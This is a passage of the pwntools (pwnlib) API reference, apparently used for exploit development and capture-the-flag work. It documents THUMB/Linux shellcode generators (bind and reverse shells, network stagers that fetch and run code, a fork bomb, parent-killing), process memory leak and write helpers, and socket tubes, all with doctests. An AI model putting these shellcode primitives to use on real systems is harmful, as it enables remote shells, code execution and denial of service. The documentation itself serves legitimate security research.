Pushes a string onto the stack without using null bytes or newline characters.

Parameters

- **string** (*str*) – The string to push.
- **append_null** (*bool*) – Whether to append a single NULL-byte before pushing.

Examples:

Note that this doctest has two possibilities for the first result, depending on your version of binutils.

```
>>> enhex(asm(shellcraft.pushstr('Hello\nWorld!', True))) in [
...
↪'87ea070780b4dff8047001e0726c642180b4dff8047001e06f0a576f80b4dff8047001e048656c6c80b4
↪',
...
↪'87ea070780b4dff8047001e0726c642180b4dff8047001e06f0a576f80b4dff8047001e048656c6c80b400bf
↪',
...
↪'87ea070780b4dff8067000f002b8726c642180b4dff8047000f002b86f0a576f80b4014f00f002b848656c6c80b4
↪']
True
>>> print(shellcraft.pushstr('abc').rstrip()) #doctest: +ELLIPSIS
    /* push b'abc\x00' */
    ldr r7, value_...
    b value_..._after
value_...: .word 0xff636261
value_..._after:
    lsl r7, #8
    lsr r7, #8
    push {r7}
>>> print(enhex(asm(shellcraft.pushstr('\x00', False)).rstrip(b'\x00\xbf')))
87ea070780b4
```

`pwnlib.shellcraft.thumb.pushstr_array(reg, array)`
Pushes an array/envp-style array of pointers onto the stack.

Parameters

- **reg** (*str*) – Destination register to hold the pointer.
- **array** (*str, list*) – Single argument or list of arguments to push. NULL termination is normalized so that each argument ends with exactly one NULL byte.

`pwnlib.shellcraft.thumb.ret(return_value=None)`
A single-byte RET instruction.

Parameters **return_value** – Value to return `pwnlib.shellcraft.thumb.setregs(reg_context, stack_allowed=True)`

Sets multiple registers, taking any register dependencies into account (i.e., given eax=1,ebx=eax, set ebx first).

Parameters

- **reg_context** (*dict*) – Desired register context
- **stack_allowed** (*bool*) – Can the stack be used?

Example

```
>>> print(shellcraft.setregs({'r0':1, 'r2':'r3'}).rstrip())
    mov r0, #1
    mov r2, r3
>>> print(shellcraft.setregs({'r0':'r1', 'r1':'r0', 'r2':'r3'}).rstrip())
    mov r2, r3
    eor r0, r0, r1 /* xchg r0, r1 */
    eor r1, r0, r1
    eor r0, r0, r1
```

`pwnlib.shellcraft.thumb.to_arm(reg=None, avoid=[])`

Go from THUMB to ARM mode.

`pwnlib.shellcraft.thumb.trap()`

A trap instruction.

`pwnlib.shellcraft.thumb.udiv_10(N)`

Divides r0 by 10. Result is stored in r0, N and Z flags are updated.

Code is from generated from here: https://raw.githubusercontent.com/rofirrim/raspberry-pi-assembler/master/chapter15/magic.py

With code: python magic.py 10 code_for_unsigned

pwnlib.shellcraft.thumb.linux

Shellcraft module containing THUMB shellcodes for Linux.

`pwnlib.shellcraft.thumb.linux.bindsh(port, network)`

Listens on a TCP port and spawns a shell for the first to connect. Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.

`pwnlib.shellcraft.thumb.linux.cat(filename, fd=1)`

Opens a file and writes its contents to the specified file descriptor.

Example

```
>>> f = tempfile.mktemp()
>>> write(f, 'FLAG\n')
>>> run_assembly(shellcraft.arm.to_thumb()+shellcraft.thumb.linux.cat(f)).
↪recvline()
b'FLAG\n'
```

`pwnlib.shellcraft.thumb.linux.cat2(filename, fd=1, length=16384)`

Opens a file and writes its contents to the specified file descriptor. Uses an extra stack buffer and must know the length.

Example

```
>>> f = tempfile.mktemp()
>>> write(f, 'FLAG\n')
>>> run_assembly(shellcraft.arm.to_thumb()+shellcraft.thumb.linux.cat2(f)).
↪recvline()
b'FLAG\n'
```

`pwnlib.shellcraft.thumb.linux.`**`connect`**(*host*, *port*, *network='ipv4'*)
Connects to the host on the specified port. Network is either 'ipv4' or 'ipv6'. Leaves the connected socket in R6.

`pwnlib.shellcraft.thumb.linux.`**`connectstager`**(*host*, *port*, *network='ipv4'*)
connect recvsize stager :param host, where to connect to: :param port, which port to connect to: :param network, ipv4 or ipv6? (default: ipv4)

`pwnlib.shellcraft.thumb.linux.`**`dup`**(*sock='r6'*)
Args: [sock (imm/reg) = r6] Duplicates sock to stdin, stdout and stderr

`pwnlib.shellcraft.thumb.linux.`**`dupsh`**(*sock='r6'*)
Args: [sock (imm/reg) = ebp] Duplicates sock to stdin, stdout and stderr and spawns a shell.

`pwnlib.shellcraft.thumb.linux.`**`echo`**(*string*, *sock='1'*)
Writes a string to a file descriptor

Example

```
>>> run_assembly(shellcraft.echo('hello\n', 1)).recvline()
b'hello\n'
```

`pwnlib.shellcraft.thumb.linux.`**`findpeer`**(*port*)
Finds a connected socket. If port is specified it is checked against the peer port. Resulting socket is left in r6.

Example

```
>>> enhex(asm(shellcraft.findpeer(1337)))

↪'6ff00006ee4606f101064ff001074fea072707f11f07f54630461fb401a96a4601df0130efdd01994fea11414ff03
↪'
```

`pwnlib.shellcraft.thumb.linux.`**`findpeersh`**(*port*)
Finds a connected socket. If port is specified it is checked against the peer port. A dup2 shell is spawned on it.

`pwnlib.shellcraft.thumb.linux.`**`findpeerstager`**(*port=None*)
Findpeer recvsize stager :param port, the port given to findpeer: :type port, the port given to findpeer: defaults to any

`pwnlib.shellcraft.thumb.linux.`**`forkbomb`**()
Performs a forkbomb attack.

`pwnlib.shellcraft.thumb.linux.`**`forkexit`**()
Attempts to fork. If the fork is successful, the parent exits.

`pwnlib.shellcraft.thumb.linux.`**`kill`**(*pid*, *sig*) → str
Invokes the syscall kill.

See 'man 2 kill' for more information.

Parameters

- **pid** (*pid_t*) – pid
- **sig** (*int*) – sig

Returns int

`pwnlib.shellcraft.thumb.linux.`**`killparent`**`()`

Kills its parent process until whatever the parent is (probably init) cannot be killed any longer.

`pwnlib.shellcraft.thumb.linux.`**`listen`**`(`*port*, *network*`)`

Listens on a TCP port, accept a client and leave his socket in r6. Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.

Example

```
>>> enhex(asm(shellcraft.listen(1337, 'ipv4')))
↪'4ff001074fea072707f119074ff002004ff0010182ea020201df0646004901e00200053906b469464ff0100207f10
↪'
```

`pwnlib.shellcraft.thumb.linux.`**`loader`**`(`*address*`)`

Loads a statically-linked ELF into memory and transfers control.

Parameters **address** (*int*) – Address of the ELF as a register or integer.

`pwnlib.shellcraft.thumb.linux.`**`loader_append`**`(`*data=None*`)`

Loads a statically-linked ELF into memory and transfers control.

Similar to loader.asm but loads an appended ELF.

Parameters **data** (*str*) – If a valid filename, the data is loaded from the named file. Otherwise, this is treated as raw ELF data to append. If `None`, it is ignored.

Example:

The following doctest is commented out because it doesn't work on Travis for reasons I cannot diagnose. However, it should work just fine :-)

```
>>> payload = shellcraft.echo(b'Hello, world!\n') + shellcraft.exit(0)
>>> payloadELF = ELF.from_assembly(payload)
>>> payloadELF.arch
'arm'
>>> loader = shellcraft.loader_append(payloadELF.data)
>>> loaderELF = ELF.from_assembly(loader, vma=0, shared=True)
>>> loaderELF.process().recvall()
b'Hello, world!\n'
```

`pwnlib.shellcraft.thumb.linux.`**`readfile`**`(`*path*, *dst='r6'*`)`

Args: [path, dst (imm/reg) = r6] Opens the specified file path and sends its content to the specified file descriptor. Leaves the destination file descriptor in r6 and the input file descriptor in r5.

`pwnlib.shellcraft.thumb.linux.`**`readn`**`(`*fd*, *buf*, *nbytes*`)`

Reads exactly nbytes bytes from file descriptor fd into the buffer buf.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf

- **nbytes** (*size_t*) – nbytes

`pwnlib.shellcraft.thumb.linux.`**recvsize**(*sock*, *reg='r1'*)

Recives 4 bytes size field Useful in conjuncion with findpeer and stager :param sock, the socket to read the payload from.: :param reg, the place to put the size: :type reg, the place to put the size: default ecx

Leaves socket in ebx

`pwnlib.shellcraft.thumb.linux.`**sh**()

Execute a different process.

```
>>> p = run_assembly(shellcraft.thumb.linux.sh())
>>> p.sendline(b'echo Hello')
>>> p.recv()
b'Hello\n'
```

`pwnlib.shellcraft.thumb.linux.`**stage**(*fd=0*, *length=None*)

Migrates shellcode to a new buffer.

Parameters

- **fd** (*int*) – Integer file descriptor to recv data from. Default is stdin (0).
- **length** (*int*) – Optional buffer length. If None, the first pointer-width of data received is the length.

Example

```
>>> p = run_assembly(shellcraft.stage())
>>> sc = asm(shellcraft.echo("Hello\n", constants.STDOUT_FILENO))
>>> p.pack(len(sc))
>>> p.send(sc)
>>> p.recvline()
b'Hello\n'
```

`pwnlib.shellcraft.thumb.linux.`**stager**(*sock*, *size*)

Read 'size' bytes from 'sock' and place them in an executable buffer and jump to it. The socket will be left in r6.

`pwnlib.shellcraft.thumb.linux.`**syscall**(*syscall=None*, *arg0=None*, *arg1=None*, *arg2=None*, *arg3=None*, *arg4=None*, *arg5=None*, *arg6=None*)

Args: [syscall_number, *args] Does a syscall

Any of the arguments can be expressions to be evaluated by `pwnlib.constants.eval()`.

Example

```
>>> print(shellcraft.thumb.linux.syscall(11, 1, 'sp', 2, 0).rstrip())
    /* call syscall(0xb, 1, 'sp', 2, 0) */
    mov r0, #1
    mov r1, sp
    mov r2, #2
    eor r3, r3
    mov r7, #0xb
    svc 0x41
>>> print(shellcraft.thumb.linux.syscall('SYS_exit', 0).rstrip())
    /* call exit(0) */
```

(continues on next page)

(continued from previous page)

```
    eor r0, r0
    mov r7, #SYS_exit /* 1 */
    svc 0x41
>>> print(pwnlib.shellcraft.open('/home/pwn/flag').rstrip()) #doctest: +ELLIPSIS
    /* open(file='/home/pwn/flag', oflag=0, mode=0) */
    /* push b'/home/pwn/flag\x00' */
    mov r7, #(0x6761 >> 8)
    lsl r7, #8
    add r7, #(0x6761 & 0xff)
    push {r7}
    ldr r7, value_...
    b value_..._after
value_...: .word 0x6c662f6e
value_..._after:
    push {r7}
    ldr r7, value_...
    b value_..._after
value_...: .word 0x77702f65
value_..._after:
    push {r7}
    ldr r7, value_...
    b value_..._after
value_...: .word 0x6d6f682f
value_..._after:
    push {r7}
    mov r0, sp
    eor r1, r1
    eor r2, r2
    /* call open() */
    mov r7, #SYS_open /* 5 */
    svc 0x41
```

2.30 `pwnlib.term` — Terminal handling

`pwnlib.term.`**`can_init`**`()`

This function returns True iff stderr is a TTY and we are not inside a REPL. Iff this function returns *True*, a call to `init()` will let `pwnlib` manage the terminal.

`pwnlib.term.`**`init`**`()`

Calling this function will take over the terminal (iff `can_init()` returns True) until the current python interpreter is closed.

It is on our TODO, to create a function to "give back" the terminal without closing the interpreter.

`pwnlib.term.`**`term_mode = False`**

This is True exactly when we have taken over the terminal using `init()`.

2.30.1 Term Modules

`pwnlib.term.readline` — Terminal nice readline

`pwnlib.term.readline.`**`eval_input`**`(`*prompt=''*, *float=True*`)`

Replacement for the built-in python 2 - style `input` using `pwnlib` readline implementation, and *pwnlib.util.safeeval.expr* instead of `eval` (!).

Parameters

- **prompt** (*str*) – The prompt to show to the user.
- **float** (*bool*) – If set to `True`, prompt and input will float to the bottom of the screen when *term.term_mode* is enabled.

Example

```
>>> try:
...     saved = sys.stdin, pwnlib.term.term_mode
...     pwnlib.term.term_mode = False
...     sys.stdin = io.TextIOWrapper(io.BytesIO(b"{'a': 20}"))
...     eval_input("Favorite object? ")['a']
... finally:
...     sys.stdin, pwnlib.term.term_mode = saved
Favorite object? 20
```

`pwnlib.term.readline.`**`raw_input`**(*prompt='', float=True*)
Replacement for the built-in `raw_input` using `pwnlib` readline implementation.

Parameters

- **prompt** (*str*) – The prompt to show to the user.
- **float** (*bool*) – If set to *True*, prompt and input will float to the bottom of the screen when *term.term_mode* is enabled.

`pwnlib.term.readline.`**`str_input`**(*prompt='', float=True*)
Replacement for the built-in `input` in python3 using `pwnlib` readline implementation.

Parameters

- **prompt** (*str*) – The prompt to show to the user.
- **float** (*bool*) – If set to *True*, prompt and input will float to the bottom of the screen when *term.term_mode* is enabled.

2.31 `pwnlib.timeout` — Timeout handling

Timeout encapsulation, complete with countdowns and scope managers.

class `pwnlib.timeout.`**`Maximum`**

`__repr__`() <==> *repr(x)*

`__weakref__`
list of weak references to the object (if defined)

class `pwnlib.timeout.`**`Timeout`**(*timeout=pwnlib.timeout.Timeout.default*)
Implements a basic class which has a timeout, and support for scoped timeout countdowns.

Valid timeout values are:

- `Timeout.default` use the global default value (`context.default`)
- `Timeout.forever` or `None` never time out
- Any positive float, indicates timeouts in seconds

Example

```
>>> context.timeout = 30
>>> t = Timeout()
>>> t.timeout == 30
True
>>> t = Timeout(5)
>>> t.timeout == 5
True
>>> i = 0
>>> with t.countdown():
...     print(4 <= t.timeout and t.timeout <= 5)
...
True
>>> with t.countdown(0.5): # doctest: +ELLIPSIS
...     while t.timeout:
...         print(round(t.timeout,1))
...         time.sleep(0.1)
0.5
0.4
0.3
0.2
0.1
>>> print(t.timeout)
5.0
>>> with t.local(0.5):# doctest: +ELLIPSIS
...     for i in range(5):
...         print(round(t.timeout,1))
...         time.sleep(0.1)
0.5
0.5
0.5
0.5
...
>>> print(t.timeout)
5.0
```

`__init__`(*timeout=pwnlib.timeout.Timeout.default*)
x.__init__(...) initializes x; see help(type(x)) for signature

`countdown`(*timeout=pwnlib.timeout.Timeout.default*)
Scoped timeout setter. Sets the timeout within the scope, and restores it when leaving the scope.

When accessing *`timeout`* within the scope, it will be calculated against the time when the scope was entered, in a countdown fashion.

If `None` is specified for `timeout`, then the current timeout is used is made. This allows `None` to be specified as a default argument with less complexity.

`local`(*timeout*)
Scoped timeout setter. Sets the timeout within the scope, and restores it when leaving the scope.

`timeout_change`()
Callback for subclasses to hook a timeout change.

`__weakref__`
list of weak references to the object (if defined)

`default = pwnlib.timeout.Timeout.default`
Value indicating that the timeout should not be changed

forever = None
Value indicating that a timeout should not ever occur

maximum = pwnlib.timeout.maximum
Maximum value for a timeout. Used to get around platform issues with very large timeouts.

OSX does not permit setting socket timeouts to 2**22. Assume that if we receive a timeout of 2**21 or greater, that the value is effectively infinite.

timeout
Timeout for obj operations. By default, uses `context.timeout`.

2.32 `pwnlib.tubes` — Talking to the World!

The pwnlib is not a big truck! It's a series of tubes!

This is our library for talking to sockets, processes, ssh connections etc. Our goal is to be able to use the same API for e.g. remote TCP servers, local TTY-programs and programs run over over SSH.

It is organized such that the majority of the functionality is implemented in `pwnlib.tubes.tube`. The remaining classes should only implement just enough for the class to work and possibly code pertaining only to that specific kind of tube.

2.32.1 Types of Tubes

`pwnlib.tubes.buffer` — buffer implementation for tubes

exception `pwnlib.tubes.buffer.`**`Buffer`**(*buffer_fill_size=None*)
List of strings with some helper routines.

Example

```
>>> b = Buffer()
>>> b.add(b"A" * 10)
>>> b.add(b"B" * 10)
>>> len(b)
20
>>> b.get(1)
b'A'
>>> len(b)
19
>>> b.get(9999)
b'AAAAAAAAABBBBBBBBBB'
>>> len(b)
0
>>> b.get(1)
b''
```

Implementation Details:

Implemented as a list. Strings are added onto the end. The `0th` item in the buffer is the oldest item, and will be received first.

`__contains__`(*x*)

```
>>> b = Buffer()
>>> b.add(b'asdf')
>>> b'x' in b
False
>>> b.add(b'x')
>>> b'x' in b
True
```

`__init__`(*buffer_fill_size=None*)
x.__init__(. . .) initializes x; see help(type(x)) for signature

`__len__`()

```
>>> b = Buffer()
>>> b.add(b'lol')
>>> len(b) == 3
True
>>> b.add(b'foobar')
>>> len(b) == 9
True
```

`add`(*data*)
Adds data to the buffer.

Parameters **`data`** (`str`, `Buffer`) – Data to add

`get`(*want=inf*)
Retrieves bytes from the buffer.

Parameters **`want`** (`int`) – Maximum number of bytes to fetch

Returns Data as string

Example

```
>>> b = Buffer()
>>> b.add(b'hello')
>>> b.add(b'world')
>>> b.get(1)
b'h'
>>> b.get()
b'elloworld'
```

`get_fill_size`(*size=None*)
Retrieves the default fill size for this buffer class.

Parameters **`size`** (`int`) – (Optional) If set and not None, returns the size variable back.

Returns Fill size as integer if size is None, else size.

`index`(*x*)

```
>>> b = Buffer()
>>> b.add(b'asdf')
>>> b.add(b'qwert')
>>> b.index(b't') == len(b) - 1
True
```

unget (*data*)
Places data at the front of the buffer.

Parameters **data** (*str*, Buffer) – Data to place at the beginning of the buffer.

Example

```
>>> b = Buffer()
>>> b.add(b"hello")
>>> b.add(b"world")
>>> b.get(5)
b'hello'
>>> b.unget(b"goodbye")
>>> b.get()
b'goodbyeworld'
```

__weakref__
list of weak references to the object (if defined)

pwnlib.tubes.process — Processes

class pwnlib.tubes.process.**process**(*argv=None, shell=False, executable=None, cwd=None, env=None, stdin=-1, stdout=<pwnlib.tubes.process.PTY object>, stderr=-2, close_fds=True, preexec_fn=<function <lambda>>, raw=True, aslr=None, setuid=None, where='local', display=None, alarm=None, *args, **kwargs*)

Bases: *pwnlib.tubes.tube.tube*

Spawns a new process, and wraps it with a tube for communication.

Parameters

- **argv** (*list*) – List of arguments to pass to the spawned process.
- **shell** (*bool*) – Set to *True* to interpret *argv* as a string to pass to the shell for interpretation instead of as argv.
- **executable** (*str*) – Path to the binary to execute. If `None`, uses `argv[0]`. Cannot be used with `shell`.
- **cwd** (*str*) – Working directory. Uses the current working directory by default.
- **env** (*dict*) – Environment variables. By default, inherits from Python's environment.
- **stdin** (*int*) – File object or file descriptor number to use for `stdin`. By default, a pipe is used. A pty can be used instead by setting this to `PTY`. This will cause programs to behave in an interactive manner (e.g.., `python` will show a `>>>` prompt). If the application reads from `/dev/tty` directly, use a pty.
- **stdout** (*int*) – File object or file descriptor number to use for `stdout`. By default, a pty is used so that any stdout buffering by libc routines is disabled. May also be `PIPE` to use a normal pipe.
- **stderr** (*int*) – File object or file descriptor number to use for `stderr`. By default, `STDOUT` is used. May also be `PIPE` to use a separate pipe, although the *pwnlib.tubes.tube.tube* wrapper will not be able to read this data.

- **close_fds** (*bool*) – Close all open file descriptors except stdin, stdout, stderr. By default, `True` is used.
- **preexec_fn** (*callable*) – Callable to invoke immediately before calling `execve`.
- **raw** (*bool*) – Set the created pty to raw mode (i.e. disable echo and control characters). `True` by default. If no pty is created, this has no effect.
- **aslr** (*bool*) – If set to `False`, disable ASLR via `personality (setarch -R)` and `setrlimit (ulimit -s unlimited)`.

  This disables ASLR for the target process. However, the `setarch` changes are lost if a `setuid` binary is executed.

  The default value is inherited from `context.aslr`. See `setuid` below for additional options and information.
- **setuid** (*bool*) – Used to control *setuid* status of the target binary, and the corresponding actions taken.

  By default, this value is `None`, so no assumptions are made.

  If `True`, treat the target binary as `setuid`. This modifies the mechanisms used to disable ASLR on the process if `aslr=False`. This is useful for debugging locally, when the exploit is a `setuid` binary.

  If `False`, prevent `setuid` bits from taking effect on the target binary. This is only supported on Linux, with kernels v3.5 or greater.
- **where** (*str*) – Where the process is running, used for logging purposes.
- **display** (*list*) – List of arguments to display, instead of the main executable name.
- **alarm** (*int*) – Set a SIGALRM alarm timeout on the process.

Examples

```
>>> p = process('python')
>>> p.sendline(b"print('Hello world')")
>>> p.sendline(b"print('Wow, such data')")
>>> b'' == p.recv(timeout=0.01)
True
>>> p.shutdown('send')
>>> p.proc.stdin.closed
True
>>> p.connected('send')
False
>>> p.recvline()
b'Hello world\n'
>>> p.recvuntil(b',')
b'Wow,'
>>> p.recvregex(b'.*data')
b' such data'
>>> p.recv()
b'\n'
>>> p.recv() # doctest: +ELLIPSIS
Traceback (most recent call last):
...
EOFError
```

```
>>> p = process('cat')
>>> d = open('/dev/urandom', 'rb').read(4096)
>>> p.recv(timeout=0.1)
b''
>>> p.write(d)
>>> p.recvrepeat(0.1) == d
True
>>> p.recv(timeout=0.1)
b''
>>> p.shutdown('send')
>>> p.wait_for_close()
>>> p.poll()
0
```

```
>>> p = process('cat /dev/zero | head -c8', shell=True, stderr=open('/dev/null',
↪'w+b'))
>>> p.recv()
b'\x00\x00\x00\x00\x00\x00\x00\x00'
```

```
>>> p = process(['python','-c','import os; print(os.read(2,1024).decode())'],
...             preexec_fn = lambda: os.dup2(0,2))
>>> p.sendline(b'hello')
>>> p.recvline()
b'hello\n'
```

```
>>> stack_smashing = ['python','-c','open("/dev/tty","wb").write(b"stack smashing␣
↪detected")']
>>> process(stack_smashing).recvall()
b'stack smashing detected'
```

```
>>> process(stack_smashing, stdout=PIPE).recvall()
b''
```

```
>>> getpass = ['python','-c','import getpass; print(getpass.getpass("XXX"))']
>>> p = process(getpass, stdin=PTY)
>>> p.recv()
b'XXX'
>>> p.sendline(b'hunter2')
>>> p.recvall()
b'\nhunter2\n'
```

```
>>> process('echo hello 1>&2', shell=True).recvall()
b'hello\n'
```

```
>>> process('echo hello 1>&2', shell=True, stderr=PIPE).recvall()
b''
```

```
>>> a = process(['cat', '/proc/self/maps']).recvall()
>>> b = process(['cat', '/proc/self/maps'], aslr=False).recvall()
>>> with context.local(aslr=False):
...     c = process(['cat', '/proc/self/maps']).recvall()
>>> a == b
False
>>> b == c
True
```

```
>>> process(['sh','-c','ulimit -s'], aslr=0).recvline()
b'unlimited\n'
```

```
>>> io = process(['sh','-c','sleep 10; exit 7'], alarm=2)
>>> io.poll(block=True) == -signal.SIGALRM
True
```

```
>>> binary = ELF.from_assembly('nop', arch='mips')
>>> p = process(binary.path)
>>> binary_dir, binary_name = os.path.split(binary.path)
>>> p = process('./{}'.format(binary_name), cwd=binary_dir)
>>> p = process(binary.path, cwd=binary_dir)
>>> p = process('./{}'.format(binary_name), cwd=os.path.relpath(binary_dir))
>>> p = process(binary.path, cwd=os.path.relpath(binary_dir))
```

`__getattr__`(*attr*)
Permit pass-through access to the underlying process object for fields like `pid` and `stdin`.

`__init__`(*argv=None, shell=False, executable=None, cwd=None, env=None, stdin=-1, stdout=<pwnlib.tubes.process.PTY object>, stderr=-2, close_fds=True, preexec_fn=<function <lambda>>, raw=True, aslr=None, setuid=None, where='local', display=None, alarm=None, *args, **kwargs*)
x.__init__(...) initializes x; see help(type(x)) for signature

`_process__on_enoexec`(*exception*)
We received an 'exec format' error (ENOEXEC)

This implies that the user tried to execute e.g. an ARM binary on a non-ARM system, and does not have binfmt helpers installed for QEMU.

`_process__preexec_fn`()
Routine executed in the child process before invoking execve().

Handles setting the controlling TTY as well as invoking the user- supplied preexec_fn.

`_process__pty_make_controlling_tty`(*tty_fd*)
This makes the pseudo-terminal the controlling tty. This should be more portable than the pty.fork() function. Specifically, this should work on Solaris.

`_validate`(*cwd, executable, argv, env*)
Perform extended validation on the executable path, argv, and envp.

Mostly to make Python happy, but also to prevent common pitfalls.

`can_recv_raw`(*timeout*) → bool
Should not be called directly. Returns True, if there is data available within the timeout, but ignores the buffer on the object.

`close`()
Closes the tube.

`communicate`(*stdin = None*) → str
Calls `subprocess.Popen.communicate()` method on the process.

`connected_raw`(*direction*)
connected(direction = 'any') -> bool

Should not be called directly. Returns True iff the tube is connected in the given direction.

`fileno`() → int
Returns the file number used for reading.

kill()
Kills the process.

leak(*address*, *count=1*)
Leaks memory within the process at the specified address.

Parameters

- **address** (*int*) – Address to leak memory at
- **count** (*int*) – Number of bytes to leak at that address.

Example

```
>>> e = ELF(which('bash-static'))
>>> p = process(e.path)
```

In order to make sure there's not a race condition against the process getting set up...

```
>>> p.sendline(b'echo hello')
>>> p.recvuntil(b'hello')
b'hello'
```

Now we can leak some data!

```
>>> p.leak(e.address, 4)
b'\x7fELF'
```

libs() → dict
Return a dictionary mapping the path of each shared library loaded by the process to the address it is loaded at in the process' address space.

poll(*block = False*) → int

Parameters **block** (*bool*) – Wait for the process to exit

Poll the exit code of the process. Will return None, if the process has not yet finished and the exit code otherwise.

readmem(*address*, *count=1*)
Leaks memory within the process at the specified address.

Parameters

- **address** (*int*) – Address to leak memory at
- **count** (*int*) – Number of bytes to leak at that address.

Example

```
>>> e = ELF(which('bash-static'))
>>> p = process(e.path)
```

In order to make sure there's not a race condition against the process getting set up...

```
>>> p.sendline(b'echo hello')
>>> p.recvuntil(b'hello')
b'hello'
```

Now we can leak some data!

```
>>> p.leak(e.address, 4)
b'\x7fELF'
```

recv_raw (*numb*) → str
Should not be called directly. Receives data without using the buffer on the object.

Unless there is a timeout or closed connection, this should always return data. In case of a timeout, it should return None, in case of a closed connection it should raise an `exceptions.EOFError`.

send_raw (*data*)
Should not be called directly. Sends data to the tube.

Should return `exceptions.EOFError`, if it is unable to send any more, because of a close tube.

settimeout_raw (*timeout*)
Should not be called directly. Sets the timeout for the tube.

shutdown_raw (*direction*)
Should not be called directly. Closes the tube for further reading or writing.

writemem (*address*, *data*)
Writes memory within the process at the specified address.

Parameters

- **address** (*int*) – Address to write memory
- **data** (*bytes*) – Data to write to the address

Example

Let's write data to the beginning of the mapped memory of the ELF.

```
>>> context.clear(arch='i386')
>>> address = 0x100000
>>> data = cyclic(32)
>>> assembly = shellcraft.nop() * len(data)
```

Wait for one byte of input, then write the data to stdout

```
>>> assembly += shellcraft.write(1, address, 1)
>>> assembly += shellcraft.read(0, 'esp', 1)
>>> assembly += shellcraft.write(1, address, 32)
>>> assembly += shellcraft.exit()
>>> asm(assembly)[32:]
b
↪'j\x01[\xb9\xff\xff\xef\xff\xf7\xd1\x89\xdaj\x04X\xcd\x801\xdb\x89\xe1j\x01Zj\x03X\xcd\x80
↪Zj\x04X\xcd\x801\xdbj\x01X\xcd\x80'
```

Assemble the binary and test it

```
>>> elf = ELF.from_assembly(assembly, vma=address)
>>> io = elf.process()
>>> _ = io.recvuntil(b'\x90')
>>> _ = io.writemem(address, data)
>>> io.send(b'X')
>>> io.recvall()
b'aaaabaaacaaadaaaeaaafaaagaaahaaa'
```

_setuid = None
Whether setuid is permitted

_stop_noticed = 0
Have we seen the process stop? If so, this is a unix timestamp.

alarm = None
Alarm timeout of the process

argv = None
Arguments passed on argv

aslr = None
Whether ASLR should be left on

corefile
Returns a corefile for the process.

If the process is alive, attempts to create a coredump with GDB.

If the process is dead, attempts to locate the coredump created by the kernel.

cwd
Directory that the process is working in.

Example

```
>>> p = process('sh')
>>> p.sendline(b'cd /tmp; echo AAA')
>>> _ = p.recvuntil(b'AAA')
>>> p.cwd == '/tmp'
True
>>> p.sendline(b'cd /proc; echo BBB;')
>>> _ = p.recvuntil(b'BBB')
>>> p.cwd
'/proc'
```

elf
Returns an ELF file for the executable that launched the process.

env = None
Environment passed on envp

executable = None
Full path to the executable

libc
Returns an ELF for the libc for the current process. If possible, it is adjusted to the correct address automatically.

Example:

```
>>> p = process("/bin/cat")
>>> libc = p.libc
>>> libc # doctest: +SKIP
ELF('/lib64/libc-...so')
>>> p.close()
```

proc = None
`subprocess.Popen` object that backs this process

program
Alias for `executable`, for backward compatibility.

Example

```
>>> p = process('/bin/true')
>>> p.executable == '/bin/true'
True
>>> p.executable == p.program
True
```

pty = None
Which file descriptor is the controlling TTY

raw = None
Whether the controlling TTY is set to raw mode

stderr
Shorthand for `self.proc.stderr`

See: *process.proc*

stdin
Shorthand for `self.proc.stdin`

See: *process.proc*

stdout
Shorthand for `self.proc.stdout`

See: *process.proc*

pwnlib.tubes.serialtube — Serial Ports

class pwnlib.tubes.serialtube.**serialtube**(*port=None, baudrate=115200, convert_newlines=True, bytesize=8, parity='N', stopbits=1, xonxoff=False, rtscts=False, dsrdtr=False, *a, **kw*)

__init__(*port=None, baudrate=115200, convert_newlines=True, bytesize=8, parity='N', stopbits=1, xonxoff=False, rtscts=False, dsrdtr=False, *a, **kw*)
x.__init__(…) initializes x; see help(type(x)) for signature

can_recv_raw(*timeout*) → bool
Should not be called directly. Returns True, if there is data available within the timeout, but ignores the buffer on the object.

close()
Closes the tube.

connected_raw(*direction*)
connected(direction = 'any') -> bool

Should not be called directly. Returns True iff the tube is connected in the given direction.

fileno() → int
Returns the file number used for reading.

recv_raw (*numb*) → str
Should not be called directly. Receives data without using the buffer on the object.

Unless there is a timeout or closed connection, this should always return data. In case of a timeout, it should return None, in case of a closed connection it should raise an `exceptions.EOFError`.

send_raw (*data*)
Should not be called directly. Sends data to the tube.

Should return `exceptions.EOFError`, if it is unable to send any more, because of a close tube.

settimeout_raw (*timeout*)
Should not be called directly. Sets the timeout for the tube.

shutdown_raw (*direction*)
Should not be called directly. Closes the tube for further reading or writing.

`pwnlib.tubes.sock` — Sockets

class `pwnlib.tubes.sock.`**sock**
Bases: `pwnlib.tubes.tube.tube`

Base type used for `tubes.remote` and `tubes.listen` classes

class `pwnlib.tubes.remote.`**remote** (*host*, *port*, *fam='any'*, *typ='tcp'*, *ssl=False*, *sock=None*, *ssl_context=None*, *ssl_args=None*, *sni=True*, **args*, ***kwargs*)
Bases: `pwnlib.tubes.sock.sock`

Creates a TCP or UDP-connection to a remote host. It supports both IPv4 and IPv6.

The returned object supports all the methods from `pwnlib.tubes.sock` and `pwnlib.tubes.tube`.

Parameters

- **host** (`str`) – The host to connect to.
- **port** (`int`) – The port to connect to.
- **fam** – The string "any", "ipv4" or "ipv6" or an integer to pass to `socket.getaddrinfo()`.
- **typ** – The string "tcp" or "udp" or an integer to pass to `socket.getaddrinfo()`.
- **timeout** – A positive number, None or the string "default".
- **ssl** (`bool`) – Wrap the socket with SSL
- **ssl_context** (`ssl.SSLContext`) – Specify SSLContext used to wrap the socket.
- **sni** – Set 'server_hostname' in ssl_args based on the host parameter.
- **sock** (`socket.socket`) – Socket to inherit, rather than connecting
- **ssl_args** (`dict`) – Pass ssl.wrap_socket named arguments in a dictionary.

Examples

```
>>> r = remote('google.com', 443, ssl=True)
>>> r.send(b'GET /\r\n\r\n')
>>> r.recvn(4)
b'HTTP'
```

If a connection cannot be made, an exception is raised.

```
>>> r = remote('127.0.0.1', 1)
Traceback (most recent call last):
...
PwnlibException: Could not connect to 127.0.0.1 on port 1
```

You can also use *remote.fromsocket()* to wrap an existing socket.

```
>>> import socket
>>> s = socket.socket()
>>> s.connect(('google.com', 80))
>>> s.send(b'GET /' + b'\r\n'*2)
9
>>> r = remote.fromsocket(s)
>>> r.recvn(4)
b'HTTP'
```

__init__(*host, port, fam='any', typ='tcp', ssl=False, sock=None, ssl_context=None, ssl_args=None, sni=True, *args, **kwargs*)

x.__init__(...) initializes x; see help(type(x)) for signature

classmethod fromsocket(*socket*)

Helper method to wrap a standard python socket.socket with the tube APIs.

Parameters **socket** – Instance of socket.socket

